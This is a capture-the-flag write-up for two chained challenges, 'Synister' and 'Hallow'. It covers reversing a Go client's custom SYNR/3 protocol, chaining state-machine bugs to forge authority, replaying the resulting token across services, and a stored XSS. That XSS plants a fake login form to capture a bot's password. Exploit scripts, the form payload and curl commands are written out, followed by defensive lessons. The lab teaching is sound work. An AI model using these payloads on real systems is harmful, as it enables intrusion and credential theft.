Synister
The Demonic
A compiled Go binary implements a custom authenticated protocol called SYNR/3. Reverse it to recover the wire format and shared secret, then find and chain three bugs in the server's state machine to reach the sanctum with forged authority.
Reversing the binary
The delivery is a Go 1.21 amd64 binary: synister-client-v12. Go binaries keep full symbol tables in non-stripped builds, so Ghidra recovers function names cleanly. The startup chain is standard: _rt0_amd64 → runtime.main → main.main. The interesting work lives in four functions.
main.connect() handles the handshake and session-key derivation. main.(*client).call() defines the per-request frame. main.(*client).handleMenu() dispatches the nine menu options, and main.(*client).callPrint() formats the response. The key lies at 0x0051d2bf: 32 bytes of plaintext XOR'd with a static mask stored in local variables.
# The binary stores PLAINTEXT ^ MASK; both uses apply the same mask. # Pull the plaintext directly from the binary image: $ dd if=./synister-client-v12 bs=1 skip=$((0x51d2bf)) count=32 2>/dev/null | cat SYNISTER-DRAGON-HUNTER-CTF-KEY!!
SYNR/3 wire format
The protocol opens with a 52-byte SYNI handshake: magic b"SYNI", 16 random nonce bytes, and a 32-byte HMAC-SHA256 over the protocol label + nonce + version bytes, keyed on the shared secret. The server replies with b"SYOK" and 32 bytes of server material (S1 ‖ S2). Both sides then derive the session key as SHA256(secret ‖ nonce ‖ [2..10] ‖ S1 ‖ S2).
Every subsequent message is a 16-byte header (magic SYNR, version 3, command byte, two padding bytes, a big-endian request ID, and a big-endian payload length), followed by the payload and a 16-byte HMAC-SHA256(session_key, header ‖ payload). Response headers echo the command with the high bit set; the MAC trails the payload.
hdr = struct.pack(">4sBBHII",
b"SYNR", # magic
3, # version
cmd & 0x7F, # command
0, # padding
req_id, # request ID, big-endian
len(payload), # payload length, big-endian
)
mac = hmac_sha256(session_key, hdr, payload)[:16]
send(hdr + payload + mac)
The command space is not what it looks like
The menu accepts characters '1'-'9', but those ASCII values (0x31-0x39) are not the wire command bytes. A full scan of all 256 possible byte values against the server reveals the actual commands are 0x02-0x0a, the version byte array [2, 3, 4, 5, 6, 7, 8, 9, 10] embedded in the SYNI handshake. Everything outside that range returns UNKNOWN RITE.
0x02 CREATE SIGIL 0x03 INSPECT 0x04 BIND payload: resource string 0x05 TEMPER payload: [tag:1][len_BE:2][value:N] 0x06 DELEGATE payload: capability string 0x07 SEAL 0x08 ASCEND 0x09 ENTER SANCTUM 0x0a EXPORT 0x0b-0xff UNKNOWN RITE
Three bugs, one session
Build a sigil to DELEGATED state on a single connection, then probe opcodes 0x0b-0x7f. Opcode 0x17 returns a non-error response and rolls the sigil back from DELEGATED to TEMPERED, without clearing the server's internal Validated authorization flag.
In that impossible state, TEMPER with property tag 0x07 (the protected AUTHORITY field, normally returning THE FORGE WILL NOT TOUCH THAT MARK) and value 0x37, ASCII '7'. The stale Validated flag bypasses the protection. AUTHORITY is now 7. The same stale flag then lets DELEGATE accept sanctum.enter, a capability outside the normal bloodline. Seal, ascend, and enter, all on the same connection. Reconnecting destroys the server-side flag.
# Build to DELEGATED, standard lifecycle
c.create()
c.bind("archive/ember-ledger")
c.temper(1,"a"); c.temper(2,"a"); c.temper(3,"a")
c.delegate("archive.read") # → STATE: DELEGATED, Validated=True
# Bug 1: hidden rollback, Validated survives
c.call(0x17) # DELEGATED → TEMPERED, flag stale
# Bug 2: AUTHORITY is property 0x07, writable with stale Validated
c.call(0x05, bytes([0x07, 0x00, 0x01, 0x37])) # AUTHORITY → 7
# Bug 3: stale Validated lets out-of-bloodline capability through
c.call(0x06, b"sanctum.enter")
c.seal(); c.ascend()
c.call(0x09) # → BLACK SANCTUM BREACHED + Professor mark + DSG3. artifact
Professor's mark: Record 07
The sanctum also issues a signed DSG3. artifact with authority:7 and capabilities [archive.read, sanctum.enter]. Record 08 (Hallow) accepts this token without audience binding; it is a direct key to the next challenge.
Hallow
The Empty
Hallow accepts Synister's signed token without checking whether it was issued for Hallow. Inside, a Jinja2 safe-filter sink turns stored posts into executable markup. A Playwright bot fills any visible login form with the challenge password, and the unguarded /echo endpoint is the only in-scope sink that survives.
Getting in: token confusion
A fresh visitor gets csrf_token=HOLLOW.<random>. Replace it with the Record 07 DSG3. artifact and refresh: verify_synister_sigil() checks prefix, magic, Ed25519 signature, v==3, and authority>=7. What it does not check: issuer, audience, service, or purpose. A token signed by Synister's server satisfies Hallow's verifier completely.
The dashboard exposes the obfuscated source: a self-decrypting Python loader. Decode it: 43 base85 chunks reordered by a permutation, concatenated, base85-decoded, decrypted with a BLAKE2b counter-mode keystream, zlib-decompressed, and HMAC-verified before exec. The Flask application source is inside.
import base64, hashlib, zlib
ciphertext = base64.b85decode(b"".join(_a[i] for i in _b))
keystream = bytearray()
ctr = 0
while len(keystream) < len(ciphertext):
keystream.extend(hashlib.blake2b(
nonce + ctr.to_bytes(8,"big"),
key=key, digest_size=64, person=b'HALLOW-V20-WARD'
).digest())
ctr += 1
source = zlib.decompress(bytes(a ^ b for a,b in zip(ciphertext, keystream)))
Stored XSS via safe filter
The decoded source reveals POST /message, GET /post/<id>, POST /post/<id>/send, and POST /post/<id>/echo. The post template renders stored content with {{ body|safe }}; Jinja2's safe filter suppresses escaping entirely. Whatever HTML is stored through /message executes in the browser of anyone who visits the post, including the Playwright bot summoned via /send.
BOT_BASE_URL. Webhooks, request bins, and attacker IPs all fail. The only writable in-scope endpoint is POST /post/<id>/echo, which is unauthenticated and stores username + password in a captures table rendered back by the post template.
Reading the bot as a spec
The Playwright bot's implementation is a complete spec for the payload. After DOMContentLoaded + 1400 ms, it finds every input[type="password"]:visible, walks to the nearest ancestor <form>, finds a visible username-like field (type=text, type=email, or name containing "user"/"login"), fills both, and submits. The payload just needs a visible form with those two fields pointing at /post/<id>/echo.
<h2>Session Expired</h2> <p>Your session timed out. Please sign in to continue.</p> <form id="lf" method="POST" action="/post/RECEIVER_ID/echo"> <input type="text" name="username" placeholder="Username"> <input type="password" name="password" placeholder="Password"> <button type="submit">Sign in</button> </form>
TARGET="https://hallow-den.securityskills.online" SIGIL="DSG3.RFNHMw..." # Record 07 artifact # Store receiver post (known echo target) curl -si -b "csrf_token=$SIGIL" -X POST \ --data-urlencode "message=<p>receiver</p>" "$TARGET/message" # Note RECEIVER_ID from Location header # Store XSS post targeting receiver curl -si -b "csrf_token=$SIGIL" -X POST \ --data-urlencode "[email protected]" "$TARGET/message" # Note XSS_ID from Location header # Summon the bot curl -si -b "csrf_token=$SIGIL" -X POST "$TARGET/post/XSS_ID/send" # Wait, then read ECHOES CAUGHT IN THE DEN sleep 6 curl -s -b "csrf_token=$SIGIL" "$TARGET/post/RECEIVER_ID" \ | grep -A1 "capture-item" # → hallow // Hallow:Professor{...}
Professor's mark: Record 08
The capture appears under ECHOES CAUGHT IN THE DEN when the post is reloaded. The password field contains the flag prefixed with Hallow:.
Three independent failures
Any one of these closed stops the chain. Token: bind iss, aud, and purpose at every relying service; a valid signature proves who signed, not what they authorized. Output: render {{ body }} or sanitise with an allowlist; the safe filter is not a sanitiser. Bot: never let automation submit secrets to attacker-controlled forms; isolate bot credentials from untrusted DOM.